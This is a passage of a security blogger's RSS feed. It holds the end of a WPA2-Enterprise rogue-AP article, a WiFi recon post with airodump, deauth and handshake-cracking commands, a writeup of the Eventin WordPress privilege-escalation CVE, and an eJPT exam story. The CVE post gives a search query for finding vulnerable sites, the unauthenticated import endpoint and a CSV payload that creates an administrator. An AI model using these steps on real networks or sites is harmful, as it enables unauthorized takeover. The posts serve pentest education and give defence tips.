PEAP and MSCHAPv2 responses flying around — you’ve got a target.</p><h4>3. The Certificate Prompt Clue</h4><p>Another trick: connect with your phone or laptop.<br> If it pops up with something like:</p><blockquote>“Do you trust this certificate?”</blockquote><p>That’s a dead giveaway they’re using PEAP without strict validation — and that’s exactly what we can abuse with a rogue AP attack.</p><h3>🧠 Real-World Use Case</h3><blockquote><em>During a red team, we captured MSCHAPv2 creds using a rogue AP. After cracking, we found the same creds worked for the company’s VPN, giving us internal access without needing physical proximity again.</em></blockquote><h3>🛡️ Defense Tips (Always add these)</h3><ul><li>Use <strong>EAP-TLS</strong> with client certs (no passwords to steal)</li><li>Disable MSCHAPv2 (if possible)</li><li>Enforce server certificate validation</li><li>Monitor for rogue APs using Wireless IDS</li></ul><h3>✅ Wrap Up Summary</h3><blockquote><em>WPA2-Enterprise isn’t bulletproof — poor configurations (like PEAP-MSCHAPv2 without cert validation) can be exploited. Tools like </em><em>eaphammer make it accessible, and reused credentials can lead to serious lateral movement.</em></blockquote><h3>🔜 Next: Evil Twin Attacks &amp; Wi-Fi Phishing</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7784acb54219" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/wifi-pentesting-in-real-environments-part-2-attacking-wpa2-enterprise-eap-wi-fi-networks-7784acb54219">🔍 WiFi Pentesting in Real Environments — Part 2: Attacking WPA2-Enterprise (EAP) Wi-Fi Networks</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ WiFi Pentesting in Real Environments — Part 1: Recon & Enumeration]]></title>
            <link>https://osintteam.blog/wifi-pentesting-in-real-environments-part-1-recon-enumeration-954843031d1d?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/954843031d1d</guid>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[wifi-pt]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 02:21:20 GMT</pubDate>
            <atom:updated>2026-01-03T05:20:21.707Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔍 WiFi Pentesting in Real Environments — Part 1: Recon &amp; Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zjk6xLYHvWKld7mOs9iq4A.png" /><figcaption>source threatintelligence.com</figcaption></figure><p>When we step into a red team engagement or internal PT gig, wireless often gets overlooked. But it shouldn’t. A misconfigured AP or lax client config can open the door for lateral movement or even initial access.</p><p>In this series, I’ll walk you through how we do WiFi pentesting in real-world environments — the way it’s actually done, not just what the textbooks say.</p><p><strong>Tool to be used:</strong></p><ol><li>external adapter, supports monitor mode &amp; injection</li><li>Kali Linux ( VM or VIRTUAL BOX )</li><li>Tools: Aircrack-ng, hashcat etc</li></ol><h3>1. Reconnaissance</h3><h4>🔸 Passive Recon</h4><p>First we have to use tools like aircrack-ng or better-cap to sniff network, no cracking or injection of any payload, we have to listen every packet passively Keeps us stealthy in client environments.</p><blockquote>airodump-ng wlan0mon</blockquote><p>This will give us many information what we needed. Such as SSIDs (including hidden if clients are connected), Channel info, BSSID, Client MACs &amp; AP association</p><p><strong>🔸 Filtering a Specific BSSID</strong></p><blockquote>airodump-ng — bssid &lt;BSSID&gt; -c &lt;channel&gt; -w capture wlan0mon</blockquote><p>Always filter down. Keeps your pcap clean and focused.</p><h3>2. Hidden SSID Identification</h3><p>If the SSID is hidden (&lt;length: 0&gt;), wait for a client to probe or deauth one to get a probe request.</p><blockquote>aireplay-ng — deauth 5 -a &lt;BSSID&gt; wlan0mon</blockquote><p>Once they reconnect, you’ll catch the SSID in the beacon or probe request frames.</p><h3>3. Collecting Handshakes</h3><p>Even if no clients are active, you can wait or create traffic (we’ll talk about this in the next post). Once you get that 4-way handshake:</p><blockquote>aircrack-ng -w wordlist.txt -b &lt;BSSID&gt; capture.cap</blockquote><p>Once the handshake capture is completed (as shown in Step 1), we can proceed to crack the captured file to retrieve the Wi-Fi password. This is typically done using tools like Hashcat, which leverages GPU acceleration to perform efficient password cracking.<br>This method applies to WPA2 Personal networks</p><p>For WPA2-Enterprise (EAP-based) networks, authentication works differently and involves user credentials or certificates. We’ll cover attacks on EAP networks in a dedicated post later in this series.</p><h3>4. Tips from the Field</h3><ul><li><strong>Always use a directional antenna</strong> for focused AP targeting.</li><li><strong>Channel hopping can miss quick handshakes</strong>, lock on a specific channel if targeting a BSSID.</li><li><strong>Use </strong><strong>hcxdumptool + hashcat for PMKID</strong>, especially effective against routers not patched.</li></ul><h3>Closing</h3><blockquote><em>In the next part, we’ll look at cracking WPA/WPA2 (both with handshake and PMKID methods), and some real attack scenarios from past red team engagements (with sanitized details of course).</em></blockquote><p><strong><em>Common Wi-Fi Security Terms (Simplified)</em></strong><em><br></em><strong><em>PSK</em></strong><em> — Pre-Shared Key used in WPA/WPA2-Personal.</em><strong><em><br>EAP</em></strong><em> — Auth protocol used in WPA/WPA2-Enterprise (802.1X).<br></em><strong><em>EAPOL</em></strong><em> — Protocol that transports EAP over LAN.<br></em><strong><em>RADIUS</em></strong><em> — Backend server for Enterprise Wi-Fi auth.<br></em><strong><em>SAE</em></strong><em> — WPA3 handshake replacing PSK (more secure).</em></p><p>follow me on <a href="https://www.linkedin.com/in/sachinkewat/">https://www.linkedin.com/in/sachinkewat/</a></p><p>PART 2: <a href="https://osintteam.blog/wifi-pentesting-in-real-environments-part-2-attacking-wpa2-enterprise-eap-wi-fi-networks-7784acb54219">https://osintteam.blog/wifi-pentesting-in-real-environments-part-2-attacking-wpa2-enterprise-eap-wi-fi-networks-7784acb54219</a></p><p>PART 3: <a href="https://osintteam.blog/wifi-pentesting-in-real-environments-part-3-evil-twin-attacks-wi-fi-phishing-for-2dca72f27bbd">https://osintteam.blog/wifi-pentesting-in-real-environments-part-3-evil-twin-attacks-wi-fi-phishing-for-2dca72f27bbd</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=954843031d1d" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/wifi-pentesting-in-real-environments-part-1-recon-enumeration-954843031d1d">🔍 WiFi Pentesting in Real Environments — Part 1: Recon &amp; Enumeration</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2025–47539: WordPress Plugin Exploit Lets Attackers Become Admin — No Login Needed]]></title>
            <link>https://osintteam.blog/cve-2025-47539-wordpress-plugin-exploit-lets-attackers-become-admin-no-login-needed-df62dedf85ac?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/df62dedf85ac</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Sat, 31 May 2025 19:19:08 GMT</pubDate>
            <atom:updated>2025-06-10T16:25:44.328Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2025–47539: WordPress Plugin Exploit Lets Attackers Become Admin</h3><p><strong>Unauthenticated Privilege Escalation</strong> in a plugin used by 10,000+ sites — Patch Now!</p><p><em>EVENTIN — CVE-2025–47539<br>[+] Exploitation succeeded<br>{“message”:”Successfully imported speaker”}<br>[+] Exploited Account Details<br> Name : INDCRYPT<br> Email : safesecureaudit.com<br> Username : admin1<br> Password : hackingvidhya<br> Role : administrator<br>Exploit: By: INDCRYPT</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IkzHAD7LKAqPO0jomyHTVA.png" /></figure><p>On <strong>May 7, 2025</strong>, a critical security vulnerability was publicly disclosed in the popular WordPress plugin <strong>Eventin</strong> (Event Manager, Events Calendar, Tickets, Registrations). Tracked as <strong>CVE-2025–47539</strong>, the flaw allows <strong>unauthenticated attackers</strong> to <strong>escalate privileges to administrator</strong> without any interaction from existing users.</p><ul><li>🔓 <strong>Vulnerability</strong>: Unauthenticated Privilege Escalation via REST API</li><li>📦 <strong>Affected Plugin</strong>: Eventin (&lt;= v4.0.26)</li><li>🆔 <strong>CVE ID</strong>: CVE-2025–47539</li><li>📈 <strong>CVSS Score</strong>: 9.8 (Critical)</li><li>👁️ <strong>Disclosure Date</strong>: May 7, 2025</li><li>🔄 <strong>Fixed In</strong>: v4.0.28 (Released May 15, 2025)</li></ul><h3>🎯 Many targets exposed</h3><p>Use this FOFA query to find vulnerable sites:</p><blockquote>body=”/wp-content/plugins/eventin”</blockquote><h3>🚨 What’s the Exploit?</h3><p>The plugin offers an endpoint:</p><blockquote><strong>/wp-json/eventin/v1/import_items</strong></blockquote><p><strong>…which imports users via CSV — but fails to check if the user is authenticated. An attacker can upload a CSV like:</strong></p><blockquote>name,email,role,username,password<br><a href="/service/mailto:Hacker,hack@evil.com">Hacker,hack@evil.com</a>,administrator,hackadmin,pass123</blockquote><p>Result? A new <strong>admin account</strong> is created with full control.</p><h3>🛠️ Proof-of-Concept Script (Python)</h3><ul><li>Auto-generates malicious CSV</li><li>Uploads via REST endpoint</li><li>Triggers user import</li><li>Confirms success via response</li></ul><p>You’ll see:</p><blockquote>{&quot;message&quot;: &quot;Successfully imported speaker&quot;}</blockquote><p>And login with:</p><ul><li>Username: hackadmin</li><li>Password: pass123</li></ul><p>🔬 Verification</p><ul><li>Try logging in at /wp-login.php</li><li>Or check /wp-json/wp/v2/users</li><li>Confirm new user with administrator role</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEtJpbXudjcOk9c5UrKJlQ.png" /></figure><p>🧯 Mitigation</p><ul><li>🔒 Update to Eventin 4.0.28+</li><li>🧼 Clean unknown admin users</li><li>🔐 Lock down /wp-json/ access via .htaccess or WAF</li><li>🧑‍💻 Disable file-based user imports unless necessary</li></ul><p>💬 Final Thoughts</p><p>This bug proves once again: <strong>insecure default logic kills security</strong>.</p><p>If you’re running WordPress:</p><ul><li>📦 Audit your plugins</li><li>🔄 Stay patched</li><li>🛑 Assume no endpoint is safe if it skips auth checks</li></ul><p><strong>📣 Shoutout to the hackingvidhya &amp; </strong>safesecureaudit.com— you folks are the firewall between chaos and safety.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df62dedf85ac" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/cve-2025-47539-wordpress-plugin-exploit-lets-attackers-become-admin-no-login-needed-df62dedf85ac">CVE-2025–47539: WordPress Plugin Exploit Lets Attackers Become Admin — No Login Needed</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Passed the eJPT with 88%]]></title>
            <link>https://medium.com/@sachinkewat809/how-i-passed-the-ejpt-with-88-6f22aeec11b6?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f22aeec11b6</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ejpt]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Wed, 23 Apr 2025 11:34:46 GMT</pubDate>
            <atom:updated>2025-04-24T15:30:42.898Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*X76YsPDfFj0zcvpJtPK6vQ.png" /></figure><h3>🧑‍💻 Who Am I?</h3><p>Hey there! I’m <strong>Sachin</strong>, a cybersecurity enthusiast from <strong>Mumbai</strong> with over a year of experience in <strong>Application Security</strong>, <strong>Network Scanning</strong>, and <strong>Penetration Testing</strong>. I recently passed the <strong>eLearnSecurity Junior Penetration Tester (eJPT)</strong> exam with an <strong>88% score</strong>. But more than the certificate, it’s been a wild ride of growth — through hands-on hacking, real-world assessments, and a whole lot of passion for securing systems.</p><p>✨ <em>“I didn’t even buy the course or labs — I went straight for the voucher. Thanks to my hands-on experience with real-world pentests and CTFs, I felt ready to take the challenge head-on.”</em></p><p>If you’re a beginner aiming for the <strong>eJPT</strong> (or just getting started with pentesting), here’s my advice based on what worked for me:</p><ul><li><strong>Focus on Subnetting and Network Fundamentals</strong><br> Understanding IP addressing, subnetting, and how networks function is key. You’ll use this daily when scanning and pivoting across systems.</li><li><strong>Master Brute Force Attacks</strong><br> Try bruteforcing <strong>RDP, SMB, SSH</strong>. Weak passwords are still everywhere, and being able to exploit them is a core pentesting skill.</li><li><strong>Learn CMS Platforms</strong><br> Platforms like <strong>WordPress</strong> and <strong>Drupal</strong> are goldmines for common vulnerabilities. Get familiar with things like <strong>SQLi</strong>, <strong>LFI/RFI</strong>, and <strong>file upload bypasses</strong>.</li><li><strong>Internal Network Penetration</strong><br> Know how to pivot inside a network and escalate privileges. That’s where things get exciting — finding overlooked misconfigs that lead to full compromise.</li></ul><h3>Why I Chose the eJPT Over CEH Practical</h3><p>Before going for <strong>eJPT</strong>, I looked into <strong>CEH Practical</strong> too. I had gone through some of its content, but here’s why I leaned toward eJPT:</p><ul><li><strong>eJPT is focused on real pentesting workflows</strong>, not just ticking checkboxes.</li><li>It’s <strong>completely hands-on</strong> — you’re hacking actual machines, not selecting options.</li><li>It aligned better with the kind of <strong>VAPT work</strong> I was already doing using tools like <strong>Burp Suite</strong>, <strong>Nmap</strong>, <strong>Hydra</strong>, and <strong>Kali Linux</strong>.</li><li>The <strong>exam feels like a real-world engagement</strong>, not a theoretical quiz.</li><li>As someone into <strong>CTFs and red teaming</strong>, it just made more sense technically.</li></ul><p>Sure, <strong>CEH Practical</strong> has its place — especially for HR filters — but <strong>eJPT gave me the confidence and skills</strong> to take on real-life assessments and red team ops.</p><h3>My Learning Journey</h3><p>The prep wasn’t about just reading theory. I went the <strong>hands-on route</strong>. Here’s what helped:</p><ul><li><strong>CTF Challenges</strong><br> Doing CTFs taught me how to think like an attacker, break down real-world bugs, and troubleshoot fast. Web, reverse, crypto — you name it.</li><li><strong>Hack The Box (HTB) &amp; TryHackMe</strong><br> These platforms gave me scenarios that mimic real-life vulnerabilities. HTB helped me dive deep into privilege escalation and lateral movement.</li><li><strong>Personal Projects</strong><br> I ran pentests on apps and wrote proper reports. I practiced like it was a client job. That’s where tools like <strong>Burp</strong>, <strong>Nmap</strong>, and <strong>Kali</strong> became second nature.</li></ul><p>eJPT was more than just an exam for me — it taught me the full lifecycle of a pentest. Here’s what stood out:</p><ul><li><strong>No Room for Guesswork</strong><br> It’s not about selecting the right MCQ. You actually need to exploit stuff and back it up with proof.</li><li><strong>Full VAPT Flow</strong><br> From recon to exploitation to reporting, you go through the exact process used in real pentests.</li><li><strong>Hands-On &gt; Theory</strong><br> The whole exam is lab-based. It trains you to get your hands dirty, not memorize jargon.</li></ul><p>The <strong>eJPT exam</strong> was a checkpoint for everything I’ve done this past year — real hacks, CTF wins, late nights digging through misconfigs. It felt like a <strong>legit pen test</strong>, not a test paper.</p><p>If you’re already doing hands-on stuff, go for it. If not, start now — labs, CTFs, challenges, whatever gets you moving. The journey is worth it.</p><p>For me, it wasn’t about chasing certs — it was about proving to myself that I can <strong>secure real systems and break bad ones</strong>. That’s what makes this cert stand out.</p><p>💬 You can connect with me on <a href="https://in.linkedin.com/in/sachinkewat">LinkedIn</a><br> Let’s grow, share knowledge, and break things (ethically, of course 😄)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*y1zH9EX5gz7lIy3-DDcywQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f22aeec11b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>